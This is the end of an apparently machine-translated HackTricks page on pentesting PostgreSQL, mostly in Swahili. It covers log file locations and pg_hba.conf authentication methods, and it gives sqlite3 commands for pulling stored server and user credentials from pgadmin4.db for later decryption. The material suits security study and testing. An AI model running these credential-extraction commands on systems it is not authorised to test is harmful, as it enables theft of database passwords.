#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Then, restart the service.
pgadmin
pgadmin ni jukwaa la usimamizi na maendeleo kwa ajili ya PostgreSQL.
Unaweza kupata nywila ndani ya faili ya pgadmin4.db
Unaweza kuzifungua kwa kutumia kazi ya decrypt ndani ya script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
Uthibitisho wa mteja katika PostgreSQL unasimamiwa kupitia faili ya usanidi inayoitwa pg_hba.conf. Faili hii ina mfululizo wa rekodi, kila moja ikitaja aina ya muunganisho, anwani ya IP ya mteja (ikiwa inahitajika), jina la database, jina la mtumiaji, na njia ya uthibitisho ya kutumia kwa muunganisho unaolingana. Rekodi ya kwanza inayolingana na aina ya muunganisho, anwani ya mteja, database iliyotakiwa, na jina la mtumiaji inatumika kwa uthibitisho. Hakuna njia mbadala au ya akiba ikiwa uthibitisho unashindwa. Ikiwa hakuna rekodi inayolingana, ufikiaji unakataliwa.
Mbinu za uthibitisho zinazopatikana zinazotumia nenosiri katika pg_hba.conf ni md5, crypt, na password. Mbinu hizi zinatofautiana katika jinsi nenosiri linavyotumwa: limepangwa kwa MD5, limefichwa kwa crypt, au maandiko wazi. Ni muhimu kutambua kwamba njia ya crypt haiwezi kutumika na nenosiri ambayo imefichwa katika pg_authid.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}